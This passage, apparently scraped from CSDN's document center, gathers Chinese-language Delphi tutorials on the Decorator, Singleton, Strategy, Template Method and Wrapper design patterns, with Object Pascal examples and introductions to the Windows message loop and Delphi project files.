    CreateSpeedButton;

    CreateLabel;

    NewForm := Form;

    if NewForm <> nil then NewForm.Show;

  end;

end;


CSDN_文档中心_设计模式、用Delphi实现---->Decorator 模式

Decorator 模式

起源

Delphi的Decorator模式是在Decorator的基础上进行了扩展。更多Decorator模式的资料请参阅 《设计模式115页》

目的

动态地给一个对象添加一些职责。就增加功能来说，Decorator模式比增加子类更为灵活.

动机

我们经常要为某一些个别的对象增加一些新的职责，并不是全部的类。假设，我们有一组类用来输出文本行。抽象类TtextStream定义了一些接口，而后代如TtextFile、TlinePrinter、TclipboardStream则实现了这些接口。

现在，假设我们想给这些类增加一些新的职责如：文本缓存器、大小定转换、文本分析。

继承机制是添加功能的一种有效途径。从TtextStream类继承了缓存器可以被多个子类的实例使用。但不是很灵活。因为缓存器的选择是静态的了。客户程序不能控制选择缓存器的方式和时机。如此，加重了抽象类TtextStream的字段的负担来控制缓存器，并将带入到它的第一个实例中。通常最好保持高层次的（抽象）基类的轻量。在基类中增加不规则化和原文分析会使它最变得非常笨重！

如果你不想创建一个重量级的基类就会产生别外一个问题。有这样一种情况：大量的独立的继承是可能是，但瀑发式的产生大量的子类来支持不同组合如：TbufTextFile、TscrambledTextFile、TbufScrambledTextFile、TbufLinePrinter、TscrambledLinePrinter及其它。发生同样问题，如果类定义对子类隐藏或不可见的。比如说，如果你想在第三的组件库的高层类中加入一个新的职责，试着给Delphi的 Tstream加入一个新的职责！

一个灵活的方法是将文本流嵌入另一个对象中，由这个对象加入缓存器或不规则化。我们称这个嵌入的对象为装饰（Decorator）。这个装饰与文本流组件接口一致，因些它对使用文本流客户程序是透明的。在Delphi中保持接口一致意味着从一个共公的组先继承，例中为 TtextStream。装饰将请求向前转到到文本流，并且可能能转发前后执行一些额外的动作（如缓存器、不规则化），透明性使你可以递归的嵌套多个装饰，从面可以添加任意多的功能。

假设类TtextStream的接口如下:

type

  TTextStream = class (TObject)

  protected

    function GetEndOfText: Boolean; virtual; abstract;

  public

    function ReadLine: string; virtual; abstract;

    procedure WriteLine(const Line: string); virtual; abstract;

    property EndOfText: Boolean read GetEndOfText;

  end;

使用adapter可以创建一些真实的文本流组件，如 TLinePrinter, TtextFile，其它更多的。为了保持接口的一致。使用decorator模式，我们可以灵活的为所有的文本流加入新功能。假设我们将装饰类命名为 TtextFilter。这个类从TtextStream继承过来从而保TTextStream证接口的兼容，它同样包含了对TtextStream实例TextStream的引用。类TtextFilter没有实现任何新特性，它只是简单的将所有客户程序的请求（方法调用）转发给类TextStream。其后代如：TindentFilter、TupperCaseFilter通过简单重载装饰类的方法加入了一些新职责。

下面的流程图显示了TupperCaseFilter是如何调解客户程序对类TtextStream调用

此模式最重要的是让装饰类显示TtextStream能显示的任何部份。这样通常客户对调用装饰类和末装饰的类没有什么不同， 后它们对装饰类不存在任何依赖关系。在本单元的例子中，客户程序不知道它的文本在实际的写操作之前被转换成大写。

应用

下面的代码演示了类的装饰模式的应用。例子中的 TtextStream为装饰类 TtextFilter定义了一个抽象的接口。

type

  TTextStream = class (TObject)

  protected

    function GetEndOfText: Boolean; virtual; abstract;

  public

    function ReadLine: string; virtual; abstract;

    procedure WriteLine(const Line: string); virtual; abstract;

    property EndOfText: Boolean read GetEndOfText;

  end;

  TTextFilter = class (TTextStream)

  private

    FOwnsStream: Boolean;

    FTextStream: TTextStream;

  protected

    function GetEndOfText: Boolean; override;

    function GetTextStream: TTextStream;

    procedure SetTextStream(Value: TTextStream);

  public

    constructor Create(ATextStream: TTextStream; AOwnsStream: Boolean);

    destructor Destroy; override;

    function ReadLine: string; override;

    procedure WriteLine(const Line: string); override;

    property OwnsStream: Boolean read FOwnsStream write FOwnsStream;

    property TextStream: TTextStream read GetTextStream write SetTextStream;

  end;

代码说明:

· 属性TextStream包含了对装饰的文本流对象的引用。TextStream具有读、写的操作。这样对后代来说就更灵活了。一个类似的模式的 proxy模式，通过读、写方法在 proxy模式也是一种好的应用。有关 proxy模式请参考《设计模式》。

· 属性OwnsStream用来TextStream的所有权。在下面的实现代码中你可以看到TtextFilter类在free它所有的文本流时先判断OwnsStream是否为真。它取到帮助装饰清除的作用。

· TextStream、OwnsStream是装饰类的构造器的两个参数。

· 实现装饰类重载了ReadLine、WriteLine、GetEndOfText三个方法。并加入了实现。

下面是它的实现部分代码:

constructor TTextFilter.Create(ATextStream: TTextStream; AOwnsStream: Boolean);

begin

  inherited Create;

  TextStream := ATextStream;

  OwnsStream := AOwnsStream;

end;

destructor TTextFilter.Destroy;

begin

  TextStream := nil;

  inherited Destroy;

end;

function TTextFilter.GetEndOfText: Boolean;

begin

  Result := TextStream.GetEndOfText;

end;

function TTextFilter.GetTextStream: TTextStream;

begin

  Result := FTextStream;

end;

function TTextFilter.ReadLine: string;

begin

  Result := TextStream.ReadLine;

end;

procedure TTextFilter.SetTextStream(Value: TTextStream);

begin

  if Value <> FTextStream then

  begin

    if OwnsTextStream then FTextStream.Free;

    FTextStream := Value;

  end;

end;

procedure TTextFilter.WriteLine(const Line: string);

begin

  TextStream.WriteLine(Line);

end;

在这些实现代码一个非常有兴趣的是:

· 装饰类的行为方法：ReadLine、WriteLine、GetEndOfText只是简单的调用相应的TextStream方法。

· SetTextStream方法在分配一个新的值前安全的释放它的方本流。

· 释造函数将TextStream := nil，因为在SetTextStream有可能释放当前的文本流。

现在可能真正的创建一个将文本转换成大写的过滤器了

接口部分的代码：

type

  TUpperCaseFilter = class (TTextFilter)

  public

»   function ReadLine: string; override;

»   procedure WriteLine(const Line: string); override;

  end;

implementation

function TUpperCaseFilter.ReadLine: string;

begin

» Result := UpperCase(inherited ReadLine);

end;

procedure TUpperCaseFilter.WriteLine(const Line: string);

begin

» inherited WriteLine(UpperCase(Line));

end;

这个装饰类可以被子任何TtextStream目标使用:

function TClient.CreateOutput: TTextStream;

begin

» { 创建一个基类}

» case Destination of

»   dsFile: Result := TTextFile.Create(GetFileName, fmCreate);

»   dsPrinter: Result := TLinePrinter.Create;

» end;

» {判断是是否使用了装饰, 并使用同样的参数

»   重要的是我们没必要关心是装饰TTextFile ，还是TLinePrinter }

» if ConvertToUpperCase then

»   Result := TUpperCaseFilter.Create(Result, True);

end;

procedure TClient.ListContents;

var

  T: TTextStream;

begin

  T := CreateOutput;

  { 在这里，我们并不知道是否使用了装饰}

  try

    {往T写内容 }

    T.WriteLine('Contents');

  finally

    T.Free;

  end;

end;

Delphi实例

正在组织。。。


CSDN_文档中心_设计模式、用Delphi实现---->Singleton 模式

Singleton模式

起源

Delphi的SINGLETON模式是在SINGLETON的基础上进行了扩展。更多SINGLETON模式的资料请参阅 《设计模式84页》

目的

保证一个类仅有一个实例，并提供一个访问它的全局访问点，一个相对简单的应用型设计模式

动机

此模式最重要的是保证大量类正确的访问单个实例。尽管一台个系统可能有多台打印机，但系统只允许有且只有一个打印缓存。同样比如：一个系统只有一个文件系统、一个窗体管理系统。对于Delphi的VCL来说：大家天天接触的Tapplication，Tscreen，Tclipboard都是。此模式更好的是使你可以在任何时候为你的应用程序提供一个全局对象。其它的用途：可以、提供一些全局的异常句柄，安全控制，为跨进程提供单一的访问点。

怎样保持一个类只有一个实例并且建立好的访问性能？一个全局变量保证了实例的可访问性，但还没有保证多个实例的同时存大的可能。

一个好的解决方案：建立类自身来负责保持自身一个实例的机制。类的第一个实例能保存不会再有类的实例被创建（在创建类的新实例时请求被中段）。并提供一个访问类的方法。这就是我们的 singleton模式，典型的应用是建立服务型的的类。

应用

假设有一个用于显示时间进度低级服务类Tprogressor。类包括两个典型的方法：StartProgress, EndProgress, Abort 和一些常用的属性如：Progress, Aborted其它。

下面代码是Tprogressor类的接口部份

type

  TProgressor = class (TObject)

  private

    FProgress: Integer;

  protected

    procedure SetProgress(Value: Integer);

  public

»   procedure StartProgress;

»   property Progress: Integer read FProgress write SetProgress;

  end;

下面的代码是应用了 singleton模式后的类的的接口部份。

type

  TProgressor = class (TObject)

  private

    FProgress: Integer;

  protected

    constructor CreateInstance;

    class function AccessInstance(Request: Integer): TProgressor;

    procedure SetProgress(Value: Integer);

  public

    constructor Create;

    destructor Destroy; override;

    class function Instance: TProgressor;

    class procedure ReleaseInstance;

»   procedure StartProgress;

»   property Progress: Integer read FProgress write SetProgress;

  end;

类接口部份的介绍：

· 方法class function Instance用于访问类的单件的实例。此方法一般在第一时间访问，类的实例被创建。

· 类构造器被重载，如果你尝试着不通过instance方法来构建一个新的实例将会抛出一个异常。

· 可通过调用ReleaseInstance来清除单件类存在的实例。一般在你要清除部件时调节器用些方法。在Delphi 1 exit过程中调用，在Delphi 2/3/4/5/6中在单元finalization中调用。不要访问TProgressor.Instance.Free来清除实例，

现在让我们来看看 singleton模式实现。

constructor TProgressor.Create;

begin

  inherited Create;

  raise Exception.CreateFmt('Access class %s through Instance only',

      [ClassName]);

end;

constructor TProgressor.CreateInstance;

begin

  inherited Create;

end;

destructor TProgressor.Destroy;

begin

  if AccessInstance(0) = Self then AccessInstance(2);

  inherited Destroy;

end;

class function TProgressor.AccessInstance(Request: Integer): TProgressor;

  const FInstance: TProgressor = nil;

begin

  case Request of

    0 : ;

    1 : if not Assigned(FInstance) then FInstance := CreateInstance;

    2 : FInstance := nil;

  else

    raise Exception.CreateFmt('Illegal request %d in AccessInstance',

        [Request]);

  end;

  Result := FInstance;

end;

class function TProgressor.Instance: TProgressor;

begin

  Result := AccessInstance(1);

end;

class procedure TProgressor.ReleaseInstance;

begin

  AccessInstance(0).Free;

end;

procedure TProgressor.SetProgress(Value: Integer);

begin

»加入实现代码

end;

procedure TProgressor.StartProgress;

begin

»加入实现代码

end;

此模式的密秘在AccessInstance方法，AccessInstance方法使用了常量来存放实例。

由于Delphi不支持静态类字段的原因，你必需使用此方法。AccessInstance根据请求的参数来确认不同的返回方式，返回当前实例（Request = 0），创建一个实例(Request = 1)，重置实例（Request = 2）。Delphi 2/3/4/5/6中，你必须将编译器设置$J+来支持形式常量（参见Delphi在线帮助）

将CreateInstance设成保护方法（protected），我们确保了其它类不能调用类的构造器。但由于构造函数本身为虚函数的原因，它可以被后代重载。例中，当第一次调用类实例时将确认类的具体类型。

唯一需要你手动添加的代码是：在单元的initialization或finalization加入清除代码。

下面是应用实例（Delphi1.0）

unit ProgressorTest;

...

...

implementation

...

...

procedure ShutDown; far;

begin

» TProgressor.ReleaseInstance;

end;

initialization

MMWIN:START INITIALIZATION

» AddExitProc(ShutDown);

end.

具体操作Tprogressor的代码:

procedure TSomeClass.DoSomething;

var I: Integer;

begin

» TProgressor.Instance.StartProgress;

» for I := 0 to 100 do

» begin

»   TProgressor.Instance.Progress := I;

» ..{ 完成其它的工作}

» end;

» TProgressor.Instance.EndProgress;

end;

Delphi实例

正在组织


CSDN_文档中心_设计模式、用Delphi实现---->Strategy模式

Strategy模式

起源

Delphi的STRATEGY模式是在STRATEGY的基础上进行了扩展。更多STRATEGY模式的资料请参阅 《设计模式208页》

目的

定义一系列的算法，把它们一个个封装起来，并且使它们可相互替换。本模式使得算法可独立于使用它的客户面变化。

动机

· 由于需要可以动态的变换不同的策略。

· 更好的封装多个行为与算法结构，而不让客户程序直接干扰

· 通过相关的条件语句选择正确的行为方法。

Template方法使用继承来变换部分算法。Strategies则使用代理和组合来变换所有的算法并支持动态变换。以后，将使用context对象在运行期动态的分配具体的算法。同样，通过使用context对象，客户类将从依赖的算法接口中分离出来，通过context对象可以提供更多的泛化接口。同样意义的是，通过 context与 strategy接口可以在将来设计并提供全系统的相关算法来实现具体的应用而无需改变接口。

Strategies同样让你您创建单一的、间单的、易维护的类框架。类框架依赖于继承。

应用

Implementation

下例中的对信用卡进行月利率进行计算。Strategy模式通过充一的抽象类TfinanzeCharge封装、访问接口并担供不同的算法来进行月利率计算。TregularCharge、TpreferredCharge为信用卡的月利率计算封装了不同的具体算法

TmonthlyCharge实现了TcontextCharge接口并配置了不同的策略对象。TconntextCharge成为客户对象与策略对象的中场发动机，这样有助于感轻客户对象与策略/对象的依赖性。

    // 策略接口 (抽象类)

  TFinanzeCharge = class

  public

      // 返回计算的结果

    function getCharge(const Balance: double): double; virtual; abstract;

  end;

    // 具体策略

  TRegularCharge = class(TFinanzeCharge)

  public

    function getCharge(const Balance: double): double; override;

  end;

    //具体策略

  TPreferredCharge = class(TFinanzeCharge)

  public

     function getCharge(const Balance: double): double; override;

  end;

客户程序依赖上下文接口来调度指定的策略。无论如何，因为上下文接口是为客户程序而产生的，客户程序必需知道可用的策略/对象。如果上下文无法返回一个有效的实例，可选择选择默认策略的方法实现。

     // 上下文接口

  TChargeContext = class

  public

    function ComputeCharges(const Balance: double): double; virtual; abstract;

  end;

//具体上下文

类TmonthlyCharges作为客户对象与策略对象的中场发动机，并通过在它的构造器传递一个具体的利率计算实例进行设置。

This class acts as a mediator between the client and the strategy classes, and is configured by using composition and passing an instance of a concrete finance charge in its constructor.

  TMonthlyCharges = class(TChargeContext)

  private

    FFinanzeCharge: TFinanzeCharge;

  public

// 客户程序访问的接口

    function ComputeCharges(const Balance: double): double; override;

    // constructor configures the context object

    constructor Create(aFinanzeCharge: TFinanzeCharge); virtual;

    destructor Destroy; override;

  end;

---

implementation

// TRegularCharge

function TRegularCharge.getCharge(const Balance: double): double;

begin

  result := Balance * (REG_RATE / 12);

end;

// TPreferredCharge

function TPreferredCharge.getCharge(const Balance: double): double;

begin

   // this could be a complex algorithm that takes into account the

   // credit card holder’s buying patterns and reward points accumulated.

  result := Balance * (PREFERRED_RATE / 12);

end;

// Concrete Context

// TMonthlyCharges

constructor TMonthlyCharges.Create(aFinanzeCharge: TFinanzeCharge);

begin

  inherited Create;

    // aFinanzeCharge configures the context object

    // this class takes ownership of aFinanzeCharge (will destroy it)

  FFinanzeCharge := aFinanzeCharge;

end;

destructor TMonthlyCharges.Destroy;

begin

  FFinanzeCharge.Free;

  inherited Destroy;

end;

function TMonthlyCharges.ComputeCharges(const Balance: double): double;

begin

  result := FFinanzeCharge.getCharge(Balance);

end;

Delphi实例


CSDN_文档中心_设计模式、用Delphi实现---->Template Method模式

Template Method模式

起源

Delphi的Template Method模式以Object Pascal的虚函数为基础的结构型模式。

目的

定义一组算法操作的框架，定义一些不改变算法结构的子类。

动机

· 更好地封装策略方针并分发到不同的代理。

· 更好地实现复杂算法的代码重用，基类封装不可变的部分，并让子类实现可重载的部分行为方法。

· 更好地通过子类的可扩展部分提供钩子式的操作，但 template method模式只允许通过基类来调用。

UML图示：

应用

先让我们看看几个使用了 template method模式 VCL组件。在下例中，VCL组件中的抽象类Tstream（定义于classes.pas）实现了流拷贝方法CopyFrom()，template 方法 CopyFrom（）包含了流拷贝的必需的算法。TStream 将Read()和Write()方法声名为抽象方法，并将实现延期到其具体的子类。CopyFrom()通过ReadBuffer()、WriteBuffer() 访问Read()、Write()，

ReadBuffer()、WriteBuffer()为模板方法。以后它们将提供静态并简单Read()和Write()虚方法接口。Read() 和 Write()为指定的扩展点并在派生类中执行

更的详细实现代码请参阅VCL的classes.pas单元的，抽象类Tstream和具体的流类：TCustomMemoryStream/TmemoryStream及TstringStream。通常template方法在基类中被定义为静态，并且派生的操作定义为虚方法，以后你只需要在子类中重载扩展点。对了，接口不支持template方法。

{抽象类 TStream}

  TStream = class(TObject)

  private

  …

  protected

    procedure SetSize(NewSize: Longint); virtual;

  public

//源类支持的原始的方法

    function Read(var Buffer; Count: Longint): Longint; virtual; abstract;

    function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

    function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;

 // template方法

    procedure ReadBuffer(var Buffer; Count: Longint);

    procedure WriteBuffer(const Buffer; Count: Longint);

    // 封装了由模板方法实现的流拷算法

    function CopyFrom(Source: TStream; Count: Longint): Longint;

  …

  end;

//具体类

  TStringStream = class(TStream)

  …

  public

    constructor Create(const AString: string);

// 具体类实现了可重载的方法

    function Read(var Buffer; Count: Longint): Longint; override;

    …

    function Write(const Buffer; Count: Longint): Longint; override;

    …

  end;

---------

{ TStream }  // 抽象类

…

 // template 方法

procedure TStream.ReadBuffer(var Buffer; Count: Longint);

begin

  if (Count <> 0) and (Read(Buffer, Count) <> Count) then

    raise EReadError.Create(SReadError);

end;

procedure TStream.WriteBuffer(const Buffer; Count: Longint);

begin

  if (Count <> 0) and (Write(Buffer, Count) <> Count) then

    raise EWriteError.Create(SWriteError);

end;

function TStream.CopyFrom(Source: TStream; Count: Longint): Longint;

const

  MaxBufSize = $F000;

var

  BufSize, N: Integer;

  Buffer: PChar;

begin

  if Count = 0 then

  begin

    Source.Position := 0;

    Count := Source.Size;

  end;

  Result := Count;

  if Count > MaxBufSize then BufSize := MaxBufSize else BufSize := Count;

  GetMem(Buffer, BufSize);

  try

    while Count <> 0 do

    begin

      if Count > BufSize then N := BufSize else N := Count;

      Source.ReadBuffer(Buffer^, N);

      WriteBuffer(Buffer^, N);

      Dec(Count, N);

    end;

  finally

    FreeMem(Buffer, BufSize);

  end;

end;

---------

{ TStringStream } // 具体类

…

// 具体类实现了源始的操作

function TStringStream.Read(var Buffer; Count: Longint): Longint;

begin

  Result := Length(FDataString) - FPosition;

  if Result > Count then Result := Count;

  Move(PChar(@FDataString[FPosition + 1])^, Buffer, Result);

  Inc(FPosition, Result);

end;

function TStringStream.Write(const Buffer; Count: Longint): Longint;

begin

  Result := Count;

  SetLength(FDataString, (FPosition + Result));

  Move(Buffer, PChar(@FDataString[FPosition + 1])^, Result);

  Inc(FPosition, Result);

end;


CSDN_文档中心_设计模式、用Delphi实现---->Wrapper pattern

Wrapper pattern

起源

Delphi中的Wrapper模式是在 ‘Adapter’ or ‘Wrapper’ 的基础上上改造的。更多的介绍请查阅[Gam+, pages 139..150]。

目的

‘将一个接口转换成客户期待的别外一个接口。Wrappers 模式使得原本由于接口不兼容而不能一起工作类可以一起工作，参阅 [Gam+ 139].

动机

在Delphi的Object Pascal语言中类对多态性的支持远比接口对多态的支持高。同样意味着两个类虽然可以同时支持一个接口，但它们必须有相同的组先类，从而客户对象可以对类执行动态变换。但有时我们想使一些原本无关的类在一起工作，此时wrapper模式让你将一类包装成另一个类的接口。它类同于多重继承，但在Delphi是一种引用关系。

开始讲述下面的例了，好：

假设您有一个继承自Tobject并想安装到控件板的类：Tsample，但此时必须让组件支持Tcomponent。高兴的是有一种好的办法不用改变Tsample 的继承关系就可以将转换成支持

Tcomponent（比如此时你没有类的源码，只有它的BPL包），创建一个继承于Tcomponent的新类TsampleWrapper，并将引用聚合类Tsample。此后类TsampleWrapper将是Tcomponent后代，你可以将它加入控件板了。你现在将Tsample包装成TsampleWrapper的一个成员变量，并为它接供一个专用的访问接口。TsampleWrapper将被委托接受它包装的类的所有行为。这样客户就可能适当的调用Sample的方法及Sample的属性。

另外一种方法使用 wrapper pattern关有符合‘Law of Demeter’。些规律的基础是让你不要引用太深的对象。Tsample的访问接口和TsampleWrapper的关系如下：

type

  TSample = class (TObject)

  private

    FSomeValue: Integer;

  public

    function SomeAction(const Data: string): Boolean;

    property SomeValue: Integer read FSomeValue write FSomeValue;

  end;

  TSampleWrapper = class (TComponent)

  private

    FSample: TSample;

  public

    property Sample: TSample read FSample;

  end;

依照‘Demeter’s law’访问 SampleWrapper.Sample是很好的。但SampleWrapper.Sample.SomeAction却不是好的实例。好的想法是在类TsampleWrapper中定义一个SomeAction方法，并通过SomeAction调度Sample.SomeAction方法。

你可能经常写过这样的代码：ListBox.Canvas.Brush.Color。 看起来有点违背 ‘Demeter’s law’

应用

上面描述的类演示了一个wrapper模式的应用。类 TsampleWrapper聚合Tsample类，并接供了一个Sample的属性接口。现在我们创建一个更完整的 wrapped模式的应用，为类 TSampleWrapper创建一个叫SomeAction和一个叫SomeValue属性接口，

TSampleWrapper = class (TComponent)

  private

    FSample: TSample;

  protected

    function GetSomeValue: Integer;

    procedure SetSomeValue(Value: Integer);

  public

    function SomeAction(const Data: string): Boolean;

»   property Sample: TSample read FSample;

    property SomeValue: Integer read GetSomeValue write SetSomeValue;

  end;

可以看出来了，通过 TsampleWrapper的SomeAction方法比引用SampleWrapper.Sample.SomeAction更直接。

类TsampleWrapper的实现代码如下：（一个可以编译的代码段）

function TSampleWrapper.GetSomeValue: Integer;

begin

  Result := Sample.SomeValue;

end;

procedure TSampleWrapper.SetSomeValue(Value: Integer);

begin

  Sample.SomeValue := Value;

end;

function TSampleWrapper.SomeAction(const Data: string): Boolean;

begin

  Result := Sample.SomeAction(Data);

end;

说明一下类TsampleWrapper：

· 被包装的成员的特性，在包装类中都有着同样的类型，如名称、数据类型，可见性、及其它个别特性。

· 被包装成员的属性也被包装成属性，并且可能通过read、write方法访问。

· 被包装的成员也接供了属性访问接口，也可能通过read、write方法访问。

· 事件与被包装起来，通过read、write方法访问方法，胜于直接访问事件句柄。

· 方法也被包装起来了，并复接被包装类的方法的参数集、现样返回值也是被包装类的返回值。

Delphi实例

正在组织。


CSDN_文档中心_深入Delphi (三)

深入Delphi (三)

Windows 消息机制

by machine

    大家是不是很奇怪为什么我还没说到Delphi的控件呢？不过不用着急，有关深入控件的内容，将会很快出现了，但在这之前，还得了解Windows图形界面程序的机制——Windows的消息机制。
    使用过Delphi的朋友都知道，Delphi是一个真正面向对象的编程环境，但是不但如此，Delphi的这种面向对象的机制是单纯的建立在Windows的消息机制上的Delphi代码，而不是像VB、VFP之类的调用DLL、OCX，通过查看Delphi控件的源代码，你可以知道整个机制是怎样组织起来的，而且你可以完完全全地控制这些控件，因为它们只是用Delphi代码编写的，而不是存在在DLL中看不见的东西。
    那么Windows所谓的消息(Message)机制到底是什么呢？还记得以前学Basic的时候，根本没有什么事件之类的东西，整个程序是用流程图来描绘的，在程序需要键盘输入的地方，整个程序就停下来等待输入，然后根据输入来做不同的事情。这样做本来是没什么问题的，但是到了图形界面的时候，情况不同了，鼠标输入成了一个很大的问题，而且在Windows这样的多任务系统下，不可能让一个程序不断的测试设备状态那样子来获得输入。
    总之呢，Windows下的消息机制是完全不同的，即使与单纯的中断事件比起来，还是有很多不同的地方。
    简单的说来，一个线程在创建窗体的时候，会自动生成一个消息队列，但窗体不是必要的，可以通过其他途径来创建消息队列。然后，其他的程序，或者Windows系统本身，可以向这个线程发送消息到它的消息队列中，通知这个线程有什么东西发生了，这就是所谓的事件。每个进程都可以使用GetMessage函数获得它的消息队列中最前面的一个消息，GetMessage同时会自动将此消息从消息队列中删除掉，当然也可以指定不删除消息，这个以后再说。光听可能还是不能想象出来，那就看以下的例子吧：

program Sample3;

uses
  Windows,
  Messages;

var Msg: TMsg;

begin
    PostMessage(0, WM_USER, 0, 0); // 首先强制生成消息队列
    PeekMessage(Msg, 0, WM_USER, WM_USER, 0);
    // 然后这里就是所谓的消息循环，只有当收到WM_QUIT的消息时，GetMessage()才会返回False
    while GetMessage(Msg, 0, 0, 0) do begin
    end;
    // 这里可以做程序结束前(收到WM_QUIT后)的工作
end.

    这个程序运行后不会干任何事情，同时也会忽略一切Windows发给它的消息，除了WM_QUIT之外，因为GetMessage这个函数有一个特点，当收到其他消息的时候，GetMessage的返回值是TRUE，而在收到WM_QUIT的时候返回值则为FALSE，因此消息循环就被打破了。在Windows关闭的时候，Windows会自动发一个WM_QUIT的消息到这个程序的主线程，然后程序就退出了。
    绝大多数的程序的主体就是这个样子，都有一个消息循环，也就是说，每一个程序都是不断的使用GetMessage尝试获得新的消息，然后处理，周而复始，直到收到WM_QUIT为止。而其中高明之处，就是GetMessage在被调用的时候，如果检查出消息队列中没有消息，则函数不会马上返回，而是使线程转入睡眠状态，因而线程不会因为不断的循环而浪费CPU时间。在有新的消息收到之后，线程会重新苏醒，GetMessage把收到的消息放到一个TMsg类型的参数里面返回，于是程序就可以处理这个消息了。
    好了，这个消息机制是如何和窗体程序结合在一起的呢？换句话说，如果程序生成了窗体，那么程序又如何通过这个消息机制获取用户的输入消息呢？这就要从创建窗体的过程说起了。以下是一个比较复杂一点的例子：

program Sample4;

uses
  Windows,
  Messages;

var
  Msg: TMsg;
  wc: TWndClass; // RegisterClass()所需要的参数
  hWnd: THandle; // 主窗体的句柄

const
  ClassName = 'MainWClass';

function MainWndProc(Handle: THandle; MsgID: UINT; wParam, lParam: Integer): LRESULT; stdcall;
begin
    Result := 1;
    case MsgID of

        WM_CLOSE: begin // 关闭窗体所产生的消息
            if MessageBox(Handle,
                '要关闭这个程序吗？',
                '例子程序-4',
                MB_ICONQUESTION or MB_YESNO
                    ) = IDYES then
                DestroyWindow(hWnd)
            else
                Result := 0;
            Exit;
        end;

        WM_DESTROY: begin // DestroyWindow()所产生的消息
            PostQuitMessage(0);
        end;

    end;
    // 剩下的消息交给Windows预设的处理函数就可以了，比如画窗体的WM_NCPAINT消息等
    Result := DefWindowProc(Handle, MsgID, wParam, lParam);
end;

begin
    // 首先使用RegisterClass()注册窗体的类，这可不是Delphi数据类型中的类哦！
    wc.style := CS_HREDRAW or CS_VREDRAW;
    wc.lpfnWndProc := @MainWndProc; // 消息处理函数的地址
    wc.hInstance := hInstance; // 程序的句柄，同时也是基地址
    wc.hIcon := LoadIcon(0, PChar(IDI_APPLICATION));
    wc.hCursor := LoadCursor(0, IDC_ARROW); // 图标
    wc.hbrBackground := GetStockObject(WHITE_BRUSH); // 背景画刷
    wc.lpszClassName := ClassName; // 前面定义的常量
    if RegisterClass(wc) = 0 then Halt(0);
    hWnd := CreateWindowEx(0,
        ClassName, // 刚才注册的类的名称
        'Sample', // 窗体的标题
        WS_OVERLAPPEDWINDOW, // 窗体有标题栏、系统菜单、最大小化菜单，以及拉伸边框
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        Integer(CW_USEDEFAULT),
        0,
        0,
        hInstance,
        nil
    );
    if hWnd = 0 then Halt(0);
    ShowWindow(hWnd, CmdShow);
    UpdateWindow(hWnd);
    while GetMessage(Msg, 0, 0, 0) do begin
        TranslateMessage(Msg);
        DispatchMessage(Msg); // 该API将消息分派到相应的窗体消息处理函数
    end;
    ExitCode := Msg.wParam;
end.

    由于要说的东西比较多，其中的API说明、定义就请各位自己查看SDK了。在创建窗体之前，首先需要向Windows注册窗体的类。所谓的注册窗体类，就是要填充一个TWndClass结构的数据，设定这个类的属性，然后传递给RegisterWindowClass()。在这些属性当中，就包括这个类的窗体消息处理函数的指针，然后还有这个类的名称。在用CreateWindowEx创建主窗体的时候，就可以根据类的名称创建这个类的窗体了。那么窗体消息处理函数是用来干什么的呢？
    需要注意的是，一个线程可以创建多个窗体，这些窗体可以是你的程序创建的，也可能是Windows在你的程序运行过程当中创建的，比如用户点击窗体左上角的系统图标时Windows会生成一个系统菜单——在Windows里，所有你能看到的东西，包括编辑框、按钮这些东西都叫做窗体，并非程序主窗体、子窗体才叫做窗体的哦！那么问题也就随之而来了，一个线程中消息队列只有一个，但窗体有这么多，如果所有消息都在主程序的消息循环中处理，那么编写大的程序将非常困难，而且结构混乱的程序维护起来也很麻烦。于是这个窗体消息处理函数(Window Procedure)就起作用了，由于可以为每一个类编写消息处理函数，因此只需要在收到相应窗体的消息的时候，把消息传递给相应类的消息处理函数处理就可以了，整个程序就变得十分结构化。程序中甚至不需要记录每一个窗体对应的类消息处理函数是哪一个，直接调用DispatchMessage() Windows就会自动使用相应的消息处理函数了。
    另一个函数DefWindowPro()也是一个关键之处，试一下把这一行省略，看看程序运行后有什么效果？事实上，这样做之后，甚至连窗体你都不会看得到，Windows只是为你所创建的窗体在屏幕上保留了一个位置。为什么呢？你的程序并没有画窗体啊！别以为创建了窗体之后Windows就会为你完成一切，其实是DefWindowProc()处理了WM_PAINT和WM_NCPAINT的消息，完成了画窗体的工作，DefWindowProc为一般的程序主窗体做了很多这样的幕后工作哦！也由此可见，消息并不只是用户鼠标、键盘的输入消息，而是程序和Windows系统的联系工具，以后就会知道，消息还有很多用处呢，而编写Delphi控件很多时候也离不开消息。好了，这一章就讲到这里吧。


CSDN_文档中心_深入Delphi 个人认为不错的delphi概要介绍，言简意明，值得一看

深入Delphi (一)

工程文件

by machine

    Delphi是我最喜欢使用的编程语言，功能强大，一般情况下均可代替C，并开放所有控件的源代码，很容易就可以编写自己的控件。而我最喜欢Delphi的地方就是编译速度非常快(Borland号称Delphi的编译器是世界上最快的)，能大大提高软件开发速度，所以我一般都使用Delphi，而不用Borland C++ Builder。
    好了，废话说完了，为什么我要写这篇东西呢？市面上的Delphi教程已经够多的了，不过，有朋友抱怨说很多Delphi教程都是差不多，只是很表面的说说控件的使用，看完之后还想对Delphi有更深的了解，所以我就打算写一些一般书上没有提到的地方，就是这样，不过要有心理准备，我写东西真的很臭，又不懂如何顾及各种读者的要求，所以大家可能要反复看几次才能明白我到底想说什么呢。
    首先要说说的是Delphi中一个project(工程)的结构。工程的主文件是必不可少的，扩展名为.dpr(Delphi PRoject)，格式跟一般的unit(单元)基本一样。然后在这个dpr中一般还要引用到其他的单元(在Delphi中使用“use”一词，类似C中的include)，这些单元文件一般以pas作为扩展名，格式当然就是从以前的Pascal扩展的。前面说到dpr的格式与单元文件的格式基本一样，而且dpr是整个工程程序的入口，与Pascal中是一模一样的！这在本章后面会详细说明。Delphi中使用菜单命令Project->View Source就可以查看到dpr中的内容。
    另外如果工程中添加了form(窗体)，则还会有一些.dfm(Delphi ForM)文件，其实是包含窗体及其中控件属性的一个资源文件，也就是说可以像res文件一样打开。提到res文件，这种文件也是工程中常见的，里面包含程序图标、版本信息等资源，以后将会说明这种文件在不同场合的用途。
    对应dpr文件一般还会有一个dof(Delphi OptionFile)和一个cfg文件。Dof文件中包含编译器、连接器的参数，以及其他在Delphi菜单命令Project->Options中可以设置的内容。Cfg文件是根据dof文件生成的编译器和连接器的命令行参数。
